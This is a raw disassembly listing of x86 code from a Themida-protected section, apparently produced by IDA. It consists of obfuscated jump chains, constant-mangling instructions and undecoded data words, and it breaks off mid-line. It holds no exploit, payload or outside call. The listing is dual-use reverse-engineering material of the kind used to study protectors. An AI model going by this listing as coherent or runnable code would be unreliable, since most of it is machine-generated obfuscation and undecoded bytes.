dd 8108E7C1h, 8B5B25F7h, 6BF7810Bh, 0C101DE37h, 0E95506E7h dd 0FFFF5CFBh ; --------------------------------------------------------------------------- loc_551424: ; CODE XREF: Themida_:0054BC55j add esi, 37D003A3h jmp loc_54FEB2 ; --------------------------------------------------------------------------- db 0Fh dd 0FFFDC684h, 815356FFh, 5159242Ch, 0ADE94F7Bh, 81FFFF91h dd 1758B1EDh, 24048B2Ah, 4C481h, 0FF550000h, 5D042474h dd 5C24048Fh, 240C8B66h, 4B4368h, 24048900h, 6FCCE954h dd 0C8BFFFFh, 4C48124h, 87000000h, 248B2404h, 24042924h dd 514FE99Ch, 0E951FFFFh, 0FFFF8151h, 83243C8Bh, 4E904C4h dd 66FFFF8Ch, 0E924048Bh, 0FFFF5ECEh, 4C48159h, 0E9000000h dd 0FFFF5129h ; --------------------------------------------------------------------------- loc_5514AC: ; CODE XREF: Themida_:00546DD2j pop ebp add esp, 4 loc_5514B0: ; CODE XREF: Themida_:0054F3B1j push ebx push eax mov eax, 73D75B75h add dword ptr [esp+4], 73020428h add [esp+4], eax jmp loc_551303 ; --------------------------------------------------------------------------- loc_5514C8: ; CODE XREF: Themida_:0054711Aj xor ebp, ecx pop ecx and ebp, 526546C4h add ebp, 0FDFBC004h jmp loc_54FC47 ; --------------------------------------------------------------------------- dd 87B9515Fh, 55013068h, 651792BDh, 5DE92121h, 0FF7335E9h db 0FFh ; --------------------------------------------------------------------------- loc_5514F1: ; CODE XREF: Themida_:00548E36j xchg ebx, [esp] mov esp, [esp] push esp pop dword ptr [esp] jmp loc_54B087 ; --------------------------------------------------------------------------- dd 33241C31h, 815C241Ch, 0FFF6EFEAh, 5AD0216Fh, 840FC009h dd 10F8h, 811C77FFh, 329F242Ch, 0C8B6FC4h, 0E0895024h dd 6B0ABA52h, 83425E39h, 0E2C1FFC2h, 0D4CA8108h, 0F72CD43Ah dd 988BE9DAh, 0C301FFFFh, 6450E958h, 0D931FFFFh, 59C8295Bh dd 4EC835Ah, 55241489h, 0FFF9B3E9h, 4BAFFh, 8AE90000h dd 89FFFFCBh, 4832424h, 81590424h, 4C1h, 0C1E95100h, 0FFFFFFB2h dd 0CFE92434h db 0E3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551583: ; CODE XREF: Themida_:0054C15Cj mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5465D5 ; --------------------------------------------------------------------------- dw 0E950h dd 0FFFFDC40h, 2414875Eh, 2414895Ch, 0BE56h, 0DA680000h dd 89000052h, 5E5A2434h, 8989E952h, 0C481FFFFh, 4, 8102C783h dd 4ECh, 243C8900h, 42474FFh, 50243C8Bh, 0FFCE1BE9h, 5C381FFh dd 0E933AF3Bh, 0FFFFA1BAh ; --------------------------------------------------------------------------- loc_5515EC: ; CODE XREF: Themida_:00549B33j sub esi, 43401F5Ch sub esi, 8804E3C6h mov eax, esi pop esi xor [esp+4], eax jmp loc_548BD4 ; --------------------------------------------------------------------------- dd 0FE95556h, 51FFFF58h, 662C59B5h, 6604E800h, 232C59h dd 6841E9F0h, 815FFFFFh, 0A75B93EEh, 0C35CE95Fh, 55CFFFFh dd 2, 2474FF50h, 0A5E95804h, 5DFFFF99h, 0E959C829h, 0FFFF74C1h dd 0FF243489h, 5E042474h, 0FFF970E9h, 50E7BFFFh, 14E91656h dd 0F6FFFFB9h, 0F6E980D9h, 8006E9C0h, 0CFB626C1h, 0E9AAEE80h dd 0FFFFE9F7h ; --------------------------------------------------------------------------- loc_551670: ; CODE XREF: Themida_:00549882j add esp, 4 push edx mov edx, 165D75ACh not edx shl edx, 2 dec edx dec edx shl edx, 2 xor edx, 9A28A52Ch add ecx, edx pop edx add ecx, 4 xchg ecx, [esp] mov esp, [esp] push edi mov edi, 24337183h add edi, 0FFFFFFFFh push esi mov esi, 3D195B54h inc esi shr esi, 3 jmp loc_550F59 ; --------------------------------------------------------------------------- loc_5516B3: ; CODE XREF: Themida_:0054B4EEj pop ecx jmp loc_54760A ; --------------------------------------------------------------------------- db 33h, 14h, 24h dd 79FEE95Ch, 0EC83FFFFh, 24048904h, 8904EC83h, 0E955243Ch dd 0FFFF6384h, 68243C89h, 4546h, 0BE243489h, 71A23C32h dd 89F18951h, 315E59CFh, 8B04247Ch, 8950243Ch, 0FEBE56E0h dd 812D203Dh, 0C31F9AEEh, 70C68147h, 0E9742C19h, 0FFFFC061h dd 4C4815Ah, 42000000h, 7E09BD55h, 0F5817399h, 7A114043h dd 0FB5EC581h, 0EA316556h, 5AD1895Dh, 0B2CF6852h, 15AF4ADh dd 0EE2CE9D1h, 481FFFFh, 424h, 24148B00h, 0A6B0E953h, 4BFFFFFh dd 89000000h, 0EA015FFDh, 0AFB8505Dh, 5506E427h, 0FF8802E9h dd 0C0E95BFFh, 66FFFF71h, 0BE6656ADh, 0F76674F8h, 664666DEh dd 0CE816646h, 816654E8h, 669A78F6h, 665EF001h, 666E5205h dd 69BE6656h, 0F029662Fh, 1665E66h, 690566D8h, 919BE92Fh dd 685AFFFFh, 6636h, 0BE243489h, 5C146BBFh, 0FFEBE4E9h dd 60F581FFh, 683FE52Eh, 63F5h, 0BA241489h, 3F040D48h dd 148BD529h, 629DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5517CE: ; CODE XREF: Themida_:0054AD55j not esi xchg esi, [esp] jmp loc_54F5B3 ; --------------------------------------------------------------------------- dd 2B60F66h, 7DCB6866h, 24048966h, 0FF4DECE9h db 0FFh ; --------------------------------------------------------------------------- loc_5517E9: ; CODE XREF: Themida_:0055211Aj add edx, ebx pop ebx xchg edx, [esp] pop esp or eax, eax jz loc_548CA0 sub esp, 4 mov [esp], edx push esi jmp loc_54D7CF ; --------------------------------------------------------------------------- db 0F7h dd 5D0F7D8h, 5C90489Eh, 0FFB34DE9h, 808405FFh, 29E9C202h dd 80FFFF8Dh, 0D0304FEAh, 5624148Bh, 0FFA1C2E9h, 48B66FFh dd 2C48324h, 5BDD2966h, 8BEB0166h, 0C481242Ch, 4, 19C38166h dd 0C301661Bh, 0FF7EECE9h, 241C89FFh, 88E9E389h, 0BEFFFFE5h dd 6B0862E8h, 2FE9F329h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551867: ; CODE XREF: Themida_:00550B35j pop edi pop dword ptr [esp] jmp loc_54AA46 ; --------------------------------------------------------------------------- dd 0E924248Bh, 0FFFFF4F6h, 4C481h, 0CAE90000h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551883: ; CODE XREF: Themida_:0054DFFAj push dword ptr [edx] pop ecx jmp loc_54EFEE ; --------------------------------------------------------------------------- loc_55188B: ; CODE XREF: Themida_:0054C87Bj or edi, ebp pop ebp dec edi push ecx mov ecx, 4A9A0A50h xor ecx, 12EDA988h sub edi, ecx jmp loc_546E5D ; --------------------------------------------------------------------------- dw 0BA52h dd 4, 25CAE981h, 0D1014625h, 25CAC181h, 815A4625h, 4C1h dd 240C8700h, 4D0FE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5518C6: ; CODE XREF: Themida_:005484A6j pop edx jmp loc_549E6F ; --------------------------------------------------------------------------- dd 24048966h, 0FF4D00E9h, 241489FFh, 870A4ABAh, 12EA817Eh dd 0E919A50Eh, 0FFFFF32Fh, 0BE195EB9h, 9BC3812Ch, 0E92EDE55h dd 846h, 0CE4FBF57h, 0F901DBEDh, 0AEC8E95Fh, 0D3F7FFFFh dd 0C104E3C1h, 0D3F707E3h, 0F381EBD1h, 0E43E88D2h, 295BDD31h dd 2434FFE8h, 4C4815Dh, 55000000h, 92AEE951h, 1431FFFFh dd 24143324h, 31241431h, 31D031C2h, 0E68956C2h, 4C681h dd 0EE810000h, 4, 5C243487h, 0FF7121E9h, 0E9B82CFFh, 0FFFFA5A3h dd 0C72C92B2h, 0C704D000h, 8B2434FFh, 89502414h, 405E0h dd 4050000h, 87000000h, 0E95C2404h, 0FFFF88A9h, 0E92434FFh dd 0FFFFC07Ch, 2CCD68h, 243C8900h, 0FF9323E9h, 246C31FFh dd 5707E904h, 0D968FFFFh, 89000010h, 0E2892414h, 4BB53h dd 99E90000h db 71h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5519B3: ; CODE XREF: Themida_:00549FC8j mov ecx, edx jmp loc_54CD14 ; --------------------------------------------------------------------------- dw 248Bh dd 0B929E924h, 0C483FFFFh, 0DD37E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5519CA: ; CODE XREF: Themida_:00550617j mov eax, [esp] add esp, 4 jmp loc_54F5DB ; --------------------------------------------------------------------------- dd 0E9240C89h, 0FFFFF4BCh ; --------------------------------------------------------------------------- loc_5519E0: ; CODE XREF: Themida_:0054EFF1j add esp, 4 push edi sub esp, 4 mov [esp], eax mov eax, 4C112151h push ebp mov ebp, 0DF34D6Fh or ebp, 5597314Bh add ebp, 32813EFEh inc ebp push edx mov edx, 82288651h jmp loc_54CB98 ; --------------------------------------------------------------------------- db 0FEh dd 80D9F6C1h, 0C180ACC9h, 5FE980D9h, 0FFF3A9E9h, 81D529FFh dd 896F04EDh, 0EB53E922h, 0EB83FFFFh, 74FF5304h, 8F5B0424h dd 895C2404h, 0E957241Ch, 0FFFF79BEh, 0FEDDB753h, 66EFE9CFh dd 248BFFFFh, 4815124h, 8B527A24h, 55008F3Ch, 3BE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551A66: ; CODE XREF: Themida_:0054A87Aj mov ebx, [esp] add esp, 4 jmp loc_547E17 ; --------------------------------------------------------------------------- dd 51243C89h, 0F45B3068h, 240C8B71h, 4C481h, 53550000h dd 6419B4BBh, 5BDD896Fh, 1D3AF581h, 0C5810028h, 786557CAh dd 0FFC151E9h, 1E5168FFh, 2BE92EF1h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551AAB: ; CODE XREF: Themida_:0054E04Aj sub esp, 4 mov [esp], edx push eax push 340h jmp loc_547C78 ; --------------------------------------------------------------------------- db 5Ch dd 34FFF801h, 0C5E95F24h, 50000009h, 2DD76857h, 0CCE93A33h dd 0FFFFFF70h, 5D042474h, 8B24048Fh, 0F7662424h, 816866E9h dd 1489660Bh, 9C506624h, 0FF4AE0E9h, 243CD2FFh, 4AD7E99Ch dd 0D601FFFFh, 4C51E95Ah, 0BE56FFFFh, 7EC8144Ah, 6472F681h dd 0F3317C6Dh, 0E9D8895Eh, 0FFFFA9A9h, 895AD301h, 279E9D9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551B26: ; CODE XREF: Themida_:0054F27Fj not dword ptr [esp] pop ebx sub ebx, 750E419Ch sub ecx, ebx pop ebx push ebx mov ebx, 772801h jmp loc_54EDEA ; --------------------------------------------------------------------------- aAFshns db '─мрfShNs',0 align 4 dd 0B1240C89h, 40B3F3h, 0CDE959CBh, 0B8000003h, 4, 48BC301h dd 4C48324h, 4BE56h, 0F3290000h, 241C875Eh, 242C895Ch dd 42474FFh, 81242C8Bh, 4C4h, 24048F00h, 0FF7BD4E9h, 240C89FFh dd 42474FFh, 81240C8Bh, 4C4h, 24048F00h, 0C8B665Ch, 0CB3EE924h dd 8B66FFFFh, 3968240Ch, 89000025h, 5B54241Ch, 0FFB6EEE9h dd 0C68959FFh, 0E3895358h, 0FF4D31E9h db 0FFh ; --------------------------------------------------------------------------- loc_551BC5: ; CODE XREF: Themida_:0054CE39j push dword ptr [esp] jmp loc_550765 ; --------------------------------------------------------------------------- loc_551BCD: ; CODE XREF: Themida_:0055298Fj mov [esp], edi jmp loc_54D782 ; --------------------------------------------------------------------------- db 83h, 0C4h, 2 dd 76E9D828h, 81FFFFFDh, 4C3h, 0FE48E900h, 3BBBFFFFh, 83498438h dd 4EE904ECh, 81FFFFBCh, 0A72AE8EEh, 0E9FE010Fh, 0FFFFCE33h ; --------------------------------------------------------------------------- loc_551C04: ; CODE XREF: Themida_:0054D97Aj add esi, eax pop eax jmp loc_551D44 ; --------------------------------------------------------------------------- dd 305BF680h, 805A66F5h, 0ED806FCDh, 59EB0079h, 0DCEB80h dd 0B15166C3h, 66CB00DCh, 76B65259h, 835AF328h, 0C8904ECh dd 0C7885324h, 535BF988h, 28BBh, 52FB0100h, 41E9CA88h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551C4B: ; CODE XREF: Themida_:0054D663j mov esi, 443D47D7h sub ebx, esi pop esi shr ebx, 8 jmp loc_549128 ; --------------------------------------------------------------------------- db 0FFh dd 5D042474h, 0E924048Fh, 0FFFFED96h, 0E904C383h, 0FFFFAC4Ch dd 4C14E981h, 0F1014E9Fh, 4C14C181h, 71E94E9Fh, 81FFFF6Ch dd 940514C6h, 0DFB9516Ch, 81236C0Bh, 0A07681C6h, 81CE2946h dd 0A07681EEh, 0F6815946h, 0A11D17F1h, 6D468h, 24348900h dd 0D9685E5Dh, 89000037h, 19B9240Ch, 68023D2Eh, 4847h dd 89243C89h, 0E9FB89CFh, 0FFFFDCF3h ; --------------------------------------------------------------------------- loc_551CCC: ; CODE XREF: Themida_:0054E623j push ebp jmp loc_5478E4 ; --------------------------------------------------------------------------- loc_551CD2: ; CODE XREF: Themida_:0054B430j add esp, 4 pop eax and ecx, edi mov edi, [esp] push eax mov eax, esp jmp loc_549349 ; --------------------------------------------------------------------------- db 50h dd 0FFCFE5E9h, 0E9DDF7FFh, 0FFFFCEF6h, 0ADC7815Eh, 81316F34h dd 192A9AC7h, 0E9D70152h, 0FFFF61A5h ; --------------------------------------------------------------------------- loc_551D04: ; CODE XREF: Themida_:0054CCE5j add dword ptr [esp], 4 jmp loc_54987E ; --------------------------------------------------------------------------- loc_551D10: ; CODE XREF: Themida_:0054901Bj pop ecx jmp loc_54CA25 ; --------------------------------------------------------------------------- loc_551D16: ; CODE XREF: Themida_:00552270j mov esi, 8F442ADh xor esi, 47CF2A1Ch jmp loc_54F746 ; --------------------------------------------------------------------------- loc_551D26: ; CODE XREF: Themida_:00548340j shr eax, 1 inc eax push ecx jmp loc_549FDF ; --------------------------------------------------------------------------- db 55h dd 8528E953h, 0D3F6FFFFh, 0DBF6DBF6h, 0E905E3C0h, 0FFFFA5B4h ; --------------------------------------------------------------------------- loc_551D44: ; CODE XREF: Themida_:00551C07j xor esi, [esp] xor [esp], esi jmp loc_548C69 ; --------------------------------------------------------------------------- db 1 dd 24048BC1h, 5604C483h, 0C681E689h, 4, 3304EE83h, 34312434h dd 24343324h, 28BE9h, 81DEF700h, 0F7DE04F6h, 34EA81EEh dd 0E973835Bh, 0FFFFE912h ; --------------------------------------------------------------------------- loc_551D84: ; CODE XREF: Themida_:0054E98Fj add esp, 4 jmp loc_54E225 ; --------------------------------------------------------------------------- db 5Dh dd 0D9F7D9F7h, 74F181h, 0FCE9FA09h, 5BFFFF96h, 58CBA52h dd 0F28112F8h, 51AB3578h, 78D4F281h, 0EA811984h, 1C51F969h dd 0FFD66CE9h, 5FFB01FFh, 2E8EE381h, 0EBC11F73h, 2E3C103h dd 0EEC4C381h, 0D801F5EFh, 0FF930DE9h, 0B9055FFFh, 1199233h dd 33B92DD0h, 37E91992h, 0D2FFFF65h, 0E99C2424h, 0FFFF47E1h dd 6688F681h, 0F0015F32h, 0C2015A5Eh, 582434FFh, 0E904C483h dd 0FFFF47C9h, 83241C8Bh, 0C58304C4h, 242C8704h, 8B24248Bh dd 0E9522404h, 0FFFFD898h, 0B636E95Fh, 148BFFFFh, 8708E924h dd 8357FFFFh, 0B9E904ECh, 87FFFF88h, 248B241Ch, 241C8924h dd 0C381E389h, 4, 2C381h, 1C330000h, 241C3124h, 8B241C33h dd 0F662424h, 0C168C8B6h, 89000060h, 5B54241Ch, 4BA52h dd 0D3010000h, 0FFF925E9h, 0CC05ADFFh, 5558BF5Eh, 0A6796EBDh dd 8BE82954h, 0C483242Ch db 4, 1, 0D8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], edi push 54A6796Eh pop edi add eax, edi pop edi push edx mov edx, 58BF5ECCh add eax, 130301C4h sub eax, edx jmp loc_54ADBA ; --------------------------------------------------------------------------- db 4Ah dd 0DAF7EAD1h, 59E9DAF7h, 1FFFFA7h, 54962DF8h, 835F07E5h dd 81E904ECh, 2DFFFF5Ah, 270C1F2Eh, 0FF8D65E9h, 48B66FFh dd 7EE95024h, 29FFFF8Ah, 4B9E9D1h, 0E5890000h, 4C581h dd 0ED810000h, 4, 0FF9393E9h db 0FFh ; --------------------------------------------------------------------------- loc_551F0D: ; CODE XREF: Themida_:005491ECj or eax, eax jz loc_5507D8 push dword ptr [edi+1Ch] jmp loc_549BCF ; --------------------------------------------------------------------------- loc_551F1D: ; CODE XREF: Themida_:00550052j pop esp push eax jmp loc_54D839 ; --------------------------------------------------------------------------- dd 8B66DD00h, 0C483241Ch, 0FFE82802h, 0E9592434h, 0FFFFE13Eh dd 2E7268h, 24348900h, 3DBFBB53h, 68557810h, 31F13A21h dd 0FFB585E9h, 0EC8155FFh, 4, 5D243489h, 74FF555Eh, 2C8B0424h dd 0AE93E924h, 0E950FFFFh, 0FFFF8679h, 240C8B66h, 0D0E68h dd 0FA5AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551F7E: ; CODE XREF: Themida_:0054B679j shr eax, 0Ah jmp loc_550D0D ; --------------------------------------------------------------------------- dw 8956h dd 4C681E6h, 81000000h, 4C6h, 24348700h, 4055Ch, 52560000h dd 0FB6CA6BAh, 75EA8138h, 0E911627Dh, 0FFFFFF13h, 2414895Ch dd 339AEBAh, 15E9517Dh, 59FFFF56h, 0B28B850h, 0E8C152F1h dd 7E842D03h, 9E2D093Ch, 294DA229h, 0C82958C1h, 0FFAB62E9h dd 46A168FFh, 3C890000h, 26824h, 0E95F0000h, 0FFFFF2AAh ; --------------------------------------------------------------------------- loc_551FF0: ; CODE XREF: Themida_:0054C212j or ecx, 7AFA25DDh inc ecx jmp loc_548C77 ; --------------------------------------------------------------------------- dd 8924248Bh, 0B2E9242Ch, 87FFFF79h, 0E95C2434h, 0FFFF6947h dd 8F242C81h, 0E9434614h, 0FFFF45B9h, 240C8B66h, 0E904EC83h dd 0FFFF7BD7h ; --------------------------------------------------------------------------- loc_552028: ; CODE XREF: Themida_:00549714j push dword ptr [esp] pop eax jmp loc_54CCD4 ; --------------------------------------------------------------------------- db 5, 4, 0 dd 0EC830000h, 243C8904h, 5704A6BFh, 5CC78151h, 2DAEA8FBh dd 1B136827h, 7106D12Dh, 0E9B0E91Ah, 34FFFFFFh, 0C4815D24h dd 4, 52E78957h, 19EBE56h, 0F6814F96h, 4F96019Ah, 0FFB787E9h dd 4C181FFh, 83000000h, 0C8704C1h, 24248B24h, 16D668h dd 243C8900h, 15685F54h, 0E9000001h, 0FFFFA0C9h, 0B6241489h dd 0E9F32833h, 0FFFFEF91h ; --------------------------------------------------------------------------- loc_5520A4: ; CODE XREF: Themida_:0054C491j mov ecx, [ebx] jmp loc_54A0D1 ; --------------------------------------------------------------------------- db 54h dd 4C2815Ah, 81000000h, 4EAh, 24148700h, 0E924248Bh, 0FFFF8B9Ch dd 5304C483h, 0C381E389h, 4, 4C381h, 0D8E90000h, 0BFFFFF61h dd 4, 3C8BFB01h, 0E7895724h, 0FF88EFE9h, 36C581FFh, 593C2B74h dd 0FFCCE8E9h, 44D7E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5520FE: ; CODE XREF: Themida_:0054E96Cj add eax, 4 push eax jmp loc_54C153 ; --------------------------------------------------------------------------- loc_552109: ; CODE XREF: Themida_:00547FBDj mov [esp], edx mov edx, esp add edx, 4 push ebx mov ebx, 4 jmp loc_5517E9 ; --------------------------------------------------------------------------- loc_55211F: ; CODE XREF: Themida_:0054F310j mov ebp, 0B112D63h jmp loc_54789B ; --------------------------------------------------------------------------- db 1, 0C1h, 58h dd 0C8BCA01h, 9D50E924h, 2C31FFFFh, 0D146E924h, 0CB01FFFFh dd 559BEB81h, 1592EDEh, 5EEB81FBh, 5F2CBE19h, 8704C383h dd 248B241Ch, 2434FF24h, 0BA01E958h, 0C281FFFFh, 58116EE0h dd 8106EAC1h, 97F105C2h, 8BD501FEh, 8AE92414h db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55217B: ; CODE XREF: Themida_:0054D49Cj xor edx, 49842A2Ah push 0 add dword ptr [esp], 7CA32DEAh sub [esp], edx jmp loc_549FBA ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 51000000h, 44F3BE56h, 0F1B90376h, 31037644h, 0CA015EF1h dd 0FF9EEAE9h, 12CA81FFh, 813E775Dh, 7F5FD7F2h, 0B14CE97Fh dd 0E689FFFFh, 4BD5552h, 0E9495B5Dh, 593h ; --------------------------------------------------------------------------- loc_5521D0: ; CODE XREF: Themida_:0054FAA1j xor esi, edx pop edx mov ebx, esi jmp loc_54F498 ; --------------------------------------------------------------------------- dw 4EBEh dd 197468Ah, 0E5E95EF2h, 87FFFFE6h, 0D35C2434h, 0E99C242Ch dd 0FFFF43E1h, 0D588DA88h, 0BB535B5Ah, 0 dd 0EDE9D301h, 5BFFFFD8h, 2055Dh, 0E0E90000h, 55FFFF92h dd 0FFC79CE9h, 48B66FFh, 0E6895624h, 0FF9DACE9h, 0C8E681FFh dd 0E9331471h, 0FFFF9E7Ch, 4C581h, 0ED810000h, 4, 5C242C87h dd 0FF7D16E9h db 0FFh ; --------------------------------------------------------------------------- loc_552245: ; CODE XREF: Themida_:0054DF2Ej push ebx push edi mov edi, 0A85791Eh mov ebx, 0A857922h sub ebx, edi pop edi push ebx pop ecx jmp loc_54B4EB ; --------------------------------------------------------------------------- loc_55225B: ; CODE XREF: Themida_:0054DFAEj xchg esi, edx dec esi xchg esi, edx or edx, 1D2927B5h sub edx, 4D173EE9h shl edx, 2 push esi jmp loc_551D16 ; --------------------------------------------------------------------------- db 57h, 50h, 0B8h dd 0F27BC1D9h, 8DE9C789h, 88FFFFC2h, 4EC81D9h, 89000000h dd 8850241Ch, 58E388CCh, 88D98851h, 6248E9CEh, 0C281FFFFh dd 4, 4C281h, 14870000h, 24248B24h, 0FF8A7AE9h, 567F68FFh dd 4890000h, 4313E924h, 0E958FFFFh, 0FFFF7C38h, 875BDF29h dd 0E95C243Ch, 0FFFFF07Dh, 28A8C480h, 2434FFE3h, 0FFC7B1E9h dd 243C89FFh, 0FF8C5DE9h, 0CE295DFFh, 24348759h, 8924248Bh dd 0EBD242Ch, 0E933FC6Dh, 0FFFFF695h, 0EC815159h, 4, 0B4240489h dd 85B15Ch, 24048BE1h, 0E904C483h, 0FFFFEEB5h ; --------------------------------------------------------------------------- loc_55231C: ; CODE XREF: Themida_:00550102j xor ecx, 0A2F0CCE2h push edi mov edi, 7DD94CB2h jmp loc_547CB7 ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 0E9000000h, 0FFFFD840h, 0E924048Bh, 0FFFFE52Fh ; --------------------------------------------------------------------------- loc_552340: ; CODE XREF: Themida_:0054FA93j shl ebp, 6 jmp loc_54E55A ; --------------------------------------------------------------------------- dd 0E9C1D1F7h, 6E9C102h, 9182E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552356: ; CODE XREF: Themida_:0054A1D4j or eax, 15FB4CA0h jmp loc_5527FE ; --------------------------------------------------------------------------- loc_552360: ; CODE XREF: Themida_:005501E0j xchg ebx, [esp] pop esp mul cx sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp jmp loc_54A48E ; --------------------------------------------------------------------------- dd 405h, 24048700h, 4EC835Ch, 0FF818CE9h, 6AD2B8FFh, 0B5E90139h dd 0FFFFFFE8h, 2C8B2434h, 4C48124h, 83000000h, 22E904C4h dd 5AFFFF42h, 56FFC183h, 0AB8F72BEh, 5EF129E7h, 89CB8953h dd 0C8B5BDDh, 4C48324h, 20BE62Dh, 51E80142h, 0FFCD16E9h dd 0E9FB01FFh, 0FFFFCE4Bh, 8104C483h, 4ECh, 240C8900h dd 2B9h, 8BCE2900h, 0C483240Ch, 9AEBE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5523FE: ; CODE XREF: Themida_:0054C48Bj mov ecx, 735C7828h mov edx, ecx pop ecx xor edx, ecx jmp loc_54BD3D ; --------------------------------------------------------------------------- db 81h, 0CEh, 55h dd 0E936863Ah, 0FFFF8E0Ah, 813C77FFh, 5E1E2404h, 48B513Eh dd 4EC8324h, 68241489h, 2B88h, 83242489h, 5A042404h, 4BB53h dd 0DA010000h, 0F6E9575Bh, 5FFFF50h, 301E2A8Fh, 2632152Dh dd 88E9483Eh, 8BFFFF74h, 7EE9242Ch, 57FFFFE7h, 3A242C81h dd 5B27522Ch, 2C3ABE56h, 6EE92752h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552473: ; CODE XREF: Themida_:005469FEj pop edi jmp loc_54D93B ; --------------------------------------------------------------------------- db 83h, 0C3h, 4 dd 31241C33h, 1C33241Ch, 0EE6AE924h, 0E94AFFFFh, 0FFFF4D72h dd 4C481h, 0BA520000h, 0DED48F3h, 47F6C381h, 0D3013370h dd 8904EC83h, 0B4BF243Ch, 810F2227h, 7B6234CFh, 81E7D134h dd 79788EC7h, 8BFB29B4h, 87E9243Ch, 30FFFFB7h, 0DEF658C6h dd 0FFC04AE9h, 2434FFFFh, 0FF4B22E9h, 4C581FFh, 83000000h dd 2C8704EDh, 0C895C24h, 5DB75324h, 865BFD88h, 0E9D7F6FDh dd 0FFFF5491h, 0C128E404h, 80D1F658h, 0E9806DE1h, 8BCA30B9h dd 0C481240Ch, 4, 0D0009504h, 0F2E9952Ch, 0C1FFFFBCh, 62E904EAh dd 80FFFFA8h, 0C8BAAC6h, 0E7895724h, 4C781h, 0C7810000h dd 4, 5C243C87h, 2EC81h, 89660000h, 5CB3241Ch, 5B66D828h dd 5C04F000h, 24148B66h, 8102C483h, 4ECh, 241C8900h, 4A8668h dd 6D9AE900h, 0C481FFFFh, 4, 5C24048Fh, 6806E9C1h, 500Eh dd 0FF8401E9h, 0DFC381FFh, 5566000Dh, 0EF542E68h, 0C5815D19h dd 72313CCBh, 0FF7554E9h, 72BB53FFh, 81650863h, 4A3B6AEBh dd 0EB814B5Ch, 1, 2CA3CB81h, 0EB8174CCh, 7CFE2CA3h, 2D5B5A53h dd 1B0E4A4Bh, 0FBE9D001h, 0BFFFFF97h, 3CC74EF4h, 0E781D7F7h dd 3B246A5Ah, 0FFCA5AE9h, 240C87FFh, 243C895Ch, 7D30D8BFh dd 0C52BE97Bh, 0C281FFFFh, 38FF6C7Ch, 0EA81DAF7h, 0B859389Bh dd 0E95AD301h, 0FFFFC2AEh ; --------------------------------------------------------------------------- loc_552600: ; CODE XREF: Themida_:00551073j mov ebp, 59751D69h push ecx mov ecx, 3BB4124Fh jmp loc_546BDA ; --------------------------------------------------------------------------- loc_552610: ; CODE XREF: Themida_:00547FF3j push edi jmp loc_54D97F ; --------------------------------------------------------------------------- dw 0A7BBh dd 0E952EA04h, 0FFFFA81Eh ; --------------------------------------------------------------------------- loc_552620: ; CODE XREF: Themida_:00550526j pop dword ptr [esp] not esi xchg esi, [esp] pop ebp xchg ebp, edx xchg edx, [esp] mov eax, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp push ebx mov ebx, 32884DD7h xor ebx, 52EB6A64h inc ebx shr ebx, 6 xor ebx, 1818C9Ah add ebp, ebx pop ebx add ebp, 4 xchg ebp, [esp] mov esp, [esp] push 54FBh mov [esp], ebp jmp loc_54C5A7 ; --------------------------------------------------------------------------- loc_552668: ; CODE XREF: Themida_:0054D7DBj dec edx add edx, 84E05B13h add edx, esi mov esi, [esp] add esp, 4 push edi mov edi, 1410128Bh jmp loc_54BB53 ; --------------------------------------------------------------------------- loc_552685: ; CODE XREF: Themida_:00547BB8j or eax, 6E2F6008h jmp loc_54CAAE ; --------------------------------------------------------------------------- dd offset dword_5BA268 align 4 dd 81243C89h, 4ECh, 24248900h, 0FFB8F6E9h, 242C33FFh, 2424D35Ch dd 3F23E99Ch, 0C6FEFFFFh, 0B668DEF6h, 8900002Ch, 0BB7241Ch dd 8084C780h, 0B0E90FC7h db 73h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5526CB: ; CODE XREF: Themida_:0054CA28j xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_550223 ; --------------------------------------------------------------------------- db 68h, 61h, 37h dd 51585EEEh, 117D3B9h, 0CAE95640h db 89h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5526EB: ; CODE XREF: Themida_:0054D6D1j pop edx mov ecx, [esp] push eax jmp loc_546798 ; --------------------------------------------------------------------------- loc_5526F5: ; CODE XREF: Themida_:00549AE8j add esp, 4 add esp, 4 sub ebx, 2EB10EECh sub ebx, 55965156h add ebx, 0DC109EBh sub ebx, eax push edx mov edx, 686C7511h jmp loc_548BEB ; --------------------------------------------------------------------------- loc_552720: ; CODE XREF: Themida_:0054D599j push 1 pop ebx and eax, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 push ecx mov ecx, esp jmp loc_54F850 ; --------------------------------------------------------------------------- db 68h, 0CCh, 7Ch dd 34890000h, 62FDBE24h, 0F7561681h, 575E241Ch, 81E18951h dd 4C1h, 4E98100h, 33000000h, 0B6E9240Ch, 0C1FFFFC1h, 0ED8107E5h dd 66FC1ADBh, 5526CD81h, 0BA526500h, 984D88DDh, 895AD501h dd 242C8BEAh, 4C481h, 0D6010000h, 0FFE50EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55278D: ; CODE XREF: 